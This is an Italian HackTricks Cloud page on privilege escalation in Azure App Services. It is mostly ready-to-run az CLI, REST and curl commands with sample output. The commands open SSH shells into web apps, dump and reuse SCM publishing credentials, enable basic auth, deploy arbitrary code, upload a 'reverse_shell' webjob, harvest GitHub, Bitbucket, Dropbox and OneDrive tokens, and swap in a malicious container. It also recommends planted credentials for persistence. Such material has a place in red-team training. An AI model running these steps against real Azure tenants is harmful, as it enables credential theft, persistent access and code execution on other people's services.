Az - App Services Privesc
Tip
Impara e pratica il hacking AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP:HackTricks Training GCP Red Team Expert (GRTE)
Impara e pratica il hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Supporta HackTricks
- Controlla i piani di abbonamento!
- Unisciti al đŹ gruppo Discord o al gruppo telegram o seguici su Twitter đŚ @hacktricks_live.
- Condividi trucchi di hacking inviando PR ai HackTricks e HackTricks Cloud repos su github.
App Services
Per ulteriori informazioni sui servizi App di Azure, controlla:
Microsoft.Web/sites/publish/Action, Microsoft.Web/sites/basicPublishingCredentialsPolicies/read, Microsoft.Web/sites/config/read, Microsoft.Web/sites/read
Queste autorizzazioni consentono di ottenere una SSH shell allâinterno di unâapp web. Consentono anche di debuggare lâapplicazione.
- SSH in un singolo comando:
# Direct option
az webapp ssh --name <name> --resource-group <res-group>
- Crea un tunnel e poi connettiti a SSH:
az webapp create-remote-connection --name <name> --resource-group <res-group>
## If successful you will get a message such as:
#Verifying if app is running....
#App is running. Trying to establish tunnel connection...
#Opening tunnel on port: 39895
#SSH is available { username: root, password: Docker! }
## So from that machine ssh into that port (you might need generate a new ssh session to the jump host)
ssh root@127.0.0.1 -p 39895
- Debugga lâapplicazione:
- Installa lâestensione Azure in VScode.
- Accedi allâestensione con lâaccount Azure.
- Elenca tutti i servizi App allâinterno dellâabbonamento.
- Seleziona il servizio App che desideri debugare, fai clic destro e seleziona âInizia Debuggingâ.
- Se lâapp non ha il debug abilitato, lâestensione cercherĂ di abilitarlo, ma il tuo account ha bisogno del permesso
Microsoft.Web/sites/config/writeper farlo.
Ottenere le credenziali SCM e abilitare lâautenticazione di base
Per ottenere le credenziali SCM, puoi utilizzare i seguenti comandi e permessi:
- Il permesso
Microsoft.Web/sites/publishxml/actionconsente di chiamare:
az webapp deployment list-publishing-profiles --name <app-name> --resource-group <res-group>
# Example output
[
{
"SQLServerDBConnectionString": "",
"controlPanelLink": "https://portal.azure.com",
"databases": null,
"destinationAppUrl": "https://happy-bay-0d8f842ef57843c89185d452c1cede2a.azurewebsites.net",
"hostingProviderForumLink": "",
"msdeploySite": "happy-bay-0d8f842ef57843c89185d452c1cede2a",
"mySQLDBConnectionString": "",
"profileName": "happy-bay-0d8f842ef57843c89185d452c1cede2a - Web Deploy",
"publishMethod": "MSDeploy",
"publishUrl": "happy-bay-0d8f842ef57843c89185d452c1cede2a.scm.azurewebsites.net:443",
"userName": "$happy-bay-0d8f842ef57843c89185d452c1cede2a",
"userPWD": "bgrMliuJayY5btkKl9vRNuit7HEqXfnL9w7iv5l2Gh2Q2mAyCdCS1LPfi3zS",
"webSystem": "WebSites"
},
{
"SQLServerDBConnectionString": "",
"controlPanelLink": "https://portal.azure.com",
"databases": null,
"destinationAppUrl": "https://happy-bay-0d8f842ef57843c89185d452c1cede2a.azurewebsites.net",
"ftpPassiveMode": "True",
"hostingProviderForumLink": "",
"mySQLDBConnectionString": "",
"profileName": "happy-bay-0d8f842ef57843c89185d452c1cede2a - FTP",
"publishMethod": "FTP",
"publishUrl": "ftps://waws-prod-yt1-067.ftp.azurewebsites.windows.net/site/wwwroot",
"userName": "happy-bay-0d8f842ef57843c89185d452c1cede2a\\$happy-bay-0d8f842ef57843c89185d452c1cede2a",
"userPWD": "bgrMliuJayY5btkKl9vRNuit7HEqXfnL9w7iv5l2Gh2Q2mAyCdCS1LPfi3zS",
"webSystem": "WebSites"
},
{
"SQLServerDBConnectionString": "",
"controlPanelLink": "https://portal.azure.com",
"databases": null,
"destinationAppUrl": "https://happy-bay-0d8f842ef57843c89185d452c1cede2a.azurewebsites.net",
"hostingProviderForumLink": "",
"mySQLDBConnectionString": "",
"profileName": "happy-bay-0d8f842ef57843c89185d452c1cede2a - Zip Deploy",
"publishMethod": "ZipDeploy",
"publishUrl": "happy-bay-0d8f842ef57843c89185d452c1cede2a.scm.azurewebsites.net:443",
"userName": "$happy-bay-0d8f842ef57843c89185d452c1cede2a",
"userPWD": "bgrMliuJayY5btkKl9vRNuit7HEqXfnL9w7iv5l2Gh2Q2mAyCdCS1LPfi3zS",
"webSystem": "WebSites"
}
]
Nota come il nome utente è sempre lo stesso (eccetto in FTP che aggiunge il nome dellâapp allâinizio) ma la password è la stessa per tutti.
Inoltre, lâURL SCM è <app-name>.scm.azurewebsites.net.
- Il permesso
Microsoft.Web/sites/config/list/actionconsente di chiamare:
az webapp deployment list-publishing-credentials --name <app-name> --resource-group <res-group>
# Example output
{
"id": "/subscriptions/9291ff6e-6afb-430e-82a4-6f04b2d05c7f/resourceGroups/carlos_rg_3170/providers/Microsoft.Web/sites/happy-bay-0d8f842ef57843c89185d452c1cede2a/publishingcredentials/$happy-bay-0d8f842ef57843c89185d452c1cede2a",
"kind": null,
"location": "Canada Central",
"name": "happy-bay-0d8f842ef57843c89185d452c1cede2a",
"publishingPassword": "bgrMliuJayY5btkKl9vRNuit7HEqXfnL9w7iv5l2Gh2Q2mAyCdCS1LPfi3zS",
"publishingPasswordHash": null,
"publishingPasswordHashSalt": null,
"publishingUserName": "$happy-bay-0d8f842ef57843c89185d452c1cede2a",
"resourceGroup": "carlos_rg_3170",
"scmUri": "https://$happy-bay-0d8f842ef57843c89185d452c1cede2a:bgrMliuJayY5btkKl9vRNuit7HEqXfnL9w7iv5l2Gh2Q2mAyCdCS1LPfi3zS@happy-bay-0d8f842ef57843c89185d452c1cede2a.scm.azurewebsites.net",
"type": "Microsoft.Web/sites/publishingcredentials"
}
Nota come le credenziali sono le stesse di quelle del comando precedente.
- Unâaltra opzione sarebbe impostare le proprie credenziali e usarle:
# Show if any user is configured (password won't be shown)
az webapp deployment user show
# Set your own credentials
az webapp deployment user set \
--user-name hacktricks \
--password 'W34kP@ssw0rd123!'
# To delete it, check https://stackoverflow.com/questions/45275329/remove-deployment-credentials-from-azure-webapp
Poi, puoi usare queste credenziali per accedere alle piattaforme SCM e FTP. Questo è anche un ottimo modo per mantenere la persistenza.
Ricorda che per accedere alla piattaforma SCM dal web devi accedere a <SCM-URL>/BasicAuth.
Warning
Nota che ogni utente può configurare le proprie credenziali chiamando il comando precedente, ma se lâutente non ha abbastanza permessi per accedere a SCM o FTP, le credenziali non funzioneranno.
- Se vedi che quelle credenziali sono REDACTED, è perchĂŠ devi abilitare lâopzione di autenticazione di base SCM e per questo hai bisogno del secondo permesso (
Microsoft.Web/sites/basicPublishingCredentialsPolicies/write):
# Enable basic authentication for SCM
az rest --method PUT \
--uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/basicPublishingCredentialsPolicies/scm?api-version=2022-03-01" \
--body '{
"properties": {
"allow": true
}
}'
# Enable basic authentication for FTP
az rest --method PUT \
--uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/basicPublishingCredentialsPolicies/ftp?api-version=2022-03-01" \
--body '{
"properties": {
"allow": true
}
}'
Pubblica codice utilizzando le credenziali SCM
Avere semplicemente credenziali SCM valide consente di pubblicare codice nel servizio App. Questo può essere fatto utilizzando il seguente comando.
Per questo esempio in python, puoi scaricare il repo da https://github.com/Azure-Samples/msdocs-python-flask-webapp-quickstart, apportare le modifiche che desideri e poi zipparlo eseguendo: zip -r app.zip ..
Poi puoi pubblicare il codice in unâapp web con il seguente comando:
curl -X POST "<SMC-URL>/api/publish?type=zip" --data-binary "@./app.zip" -u '<username>:<password>' -H "Content-Type: application/octet-stream"
Webjobs: Microsoft.Web/sites/publish/Action | Credenziali SCM
Il permesso Azure menzionato consente di eseguire diverse azioni interessanti che possono essere eseguite anche con le credenziali SCM:
- Leggere i log di Webjobs:
# Using Azure credentials
az rest --method GET --url "<SCM-URL>/vfs/data/jobs/<continuous | triggered>/rev5/job_log.txt" --resource "https://management.azure.com/"
az rest --method GET --url "https://lol-b5fyaeceh4e9dce0.scm.canadacentral-01.azurewebsites.net/vfs/data/jobs/continuous/rev5/job_log.txt" --resource "https://management.azure.com/"
# Using SCM username and password:
curl "<SCM-URL>/vfs/data/jobs/continuous/job_name/job_log.txt" \
--user '<username>:<password>' -v
- Leggi il codice sorgente di Webjobs:
# Using SCM username and password:
# Find all the webjobs inside:
curl "<SCM-URL>/wwwroot/App_Data/jobs/" \
--user '<username>:<password>'
# e.g.
curl "https://nodewebapp-agamcvhgg3gkd3hs.scm.canadacentral-01.azurewebsites.net/wwwroot/App_Data/jobs/continuous/job_name/rev.js" \
--user '<username>:<password>'
- Crea Webjob continuo:
# Using Azure permissions
az rest \
--method put \
--uri "https://windowsapptesting-ckbrg3f0hyc8fkgp.scm.canadacentral-01.azurewebsites.net/api/Continuouswebjobs/reverse_shell" \
--headers '{"Content-Disposition": "attachment; filename=\"rev.js\""}' \
--body "@/Users/username/Downloads/rev.js" \
--resource "https://management.azure.com/"
# Using SCM credentials
curl -X PUT \
"<SCM-URL>/api/Continuouswebjobs/reverse_shell2" \
-H 'Content-Disposition: attachment; filename=rev.js' \
--data-binary "@/Users/carlospolop/Downloads/rev.js" \
--user '<username>:<password>'
Microsoft.Web/sites/write, Microsoft.Web/sites/read, Microsoft.ManagedIdentity/userAssignedIdentities/assign/action
Queste autorizzazioni consentono di assegnare unâidentitĂ gestita al servizio App, quindi se un servizio App è stato precedentemente compromesso, questo permetterĂ allâattaccante di assegnare nuove identitĂ gestite al servizio App e escalare i privilegi su di esse.
az webapp identity assign --name <app-name> --resource-group <res-group> --identities /subscriptions/<subcripttion-id>/resourceGroups/<res_group>/providers/Microsoft.ManagedIdentity/userAssignedIdentities/<managed-identity-name>
Microsoft.Web/sites/config/list/action
Questo permesso consente di elencare le connection strings e le appsettings del servizio App che potrebbero contenere informazioni sensibili come le credenziali del database.
az webapp config connection-string list --name <name> --resource-group <res-group>
az webapp config appsettings list --name <name> --resource-group <res-group>
Leggi le credenziali di terze parti configurate
Eseguendo il seguente comando è possibile leggere le credenziali di terze parti configurate nellâaccount attuale. Nota che, ad esempio, se alcune credenziali di Github sono configurate in un utente diverso, non sarai in grado di accedere al token da un altro.
az rest --method GET \
--url "https://management.azure.com/providers/Microsoft.Web/sourcecontrols?api-version=2024-04-01"
Questo comando restituisce token per Github, Bitbucket, Dropbox e OneDrive.
Ecco alcuni esempi di comandi per controllare i token:
#Â GitHub â List Repositories
curl -H "Authorization: token <token>" \
-H "Accept: application/vnd.github.v3+json" \
https://api.github.com/user/repos
# Bitbucket â List Repositories
curl -H "Authorization: Bearer <token>" \
-H "Accept: application/json" \
https://api.bitbucket.org/2.0/repositories
#Â Dropbox â List Files in Root Folder
curl -X POST https://api.dropboxapi.com/2/files/list_folder \
-H "Authorization: Bearer <token>" \
-H "Content-Type: application/json" \
--data '{"path": ""}'
#Â OneDrive â List Files in Root Folder
curl -H "Authorization: Bearer <token>" \
-H "Accept: application/json" \
https://graph.microsoft.com/v1.0/me/drive/root/children
Aggiornare il codice dellâapp dalla sorgente
- Se la sorgente configurata è un fornitore di terze parti come Github, BitBucket o un Repository Azure, puoi aggiornare il codice del servizio App compromettendo il codice sorgente nel repository.
- Se lâapp è configurata utilizzando un repository git remoto (con nome utente e password), è possibile ottenere lâURL e le credenziali di autenticazione di base per clonare e inviare modifiche con:
- Utilizzando il permesso
Microsoft.Web/sites/sourcecontrols/read:az webapp deployment source show --name <app-name> --resource-group <res-group> - Utilizzando il permesso
Microsoft.Web/sites/config/list/action: az webapp deployment list-publishing-credentials --name <app-name> --resource-group <res-group>az rest --method POST --url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/config/metadata/list?api-version=2022-03-01" --resource "https://management.azure.com"- Se lâapp è configurata per utilizzare un repository git locale, è possibile clonare il repository e inviare modifiche ad esso:
- Utilizzando il permesso
Microsoft.Web/sites/sourcecontrols/read: Puoi ottenere lâURL del repository git conaz webapp deployment source show --name <app-name> --resource-group <res-group>, ma sarĂ lo stesso dellâURL SCM dellâapp con il percorso/<app-name>.git(ad esempiohttps://pythonwebapp-audeh9f5fzeyhhed.scm.canadacentral-01.azurewebsites.net:443/pythonwebapp.git). - Per ottenere le credenziali SCM hai bisogno del permesso:
Microsoft.Web/sites/publishxml/action: Quindi eseguiaz webapp deployment list-publishing-profiles --resource-group <res-group> -n <name>.Microsoft.Web/sites/config/list/action: Quindi eseguiaz webapp deployment list-publishing-credentials --name <name> --resource-group <res-group>
Warning
Nota che avere il permesso
Microsoft.Web/sites/config/list/actione le credenziali SCM rende sempre possibile distribuire in un webapp (anche se era configurato per utilizzare un fornitore di terze parti) come menzionato in una sezione precedente.
Warning
Nota che avere i permessi sottostanti rende anche possibile eseguire un container arbitrario anche se il webapp era configurato diversamente.
Microsoft.Web/sites/config/Write, Microsoft.Web/sites/config/Read, Microsoft.Web/sites/config/list/Action, Microsoft.Web/sites/Read
Questo è il set di permessi che consente di modificare il container utilizzato da un webapp. Un attaccante potrebbe abusarne per far eseguire a un webapp un container malevolo.
az webapp config container set \
--name <app-name> \
--resource-group <res-group> \
--docker-custom-image-name mcr.microsoft.com/appsvc/staticsite:latest
Tip
Impara e pratica il hacking AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP:HackTricks Training GCP Red Team Expert (GRTE)
Impara e pratica il hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Supporta HackTricks
- Controlla i piani di abbonamento!
- Unisciti al đŹ gruppo Discord o al gruppo telegram o seguici su Twitter đŚ @hacktricks_live.
- Condividi trucchi di hacking inviando PR ai HackTricks e HackTricks Cloud repos su github.
HackTricks Cloud

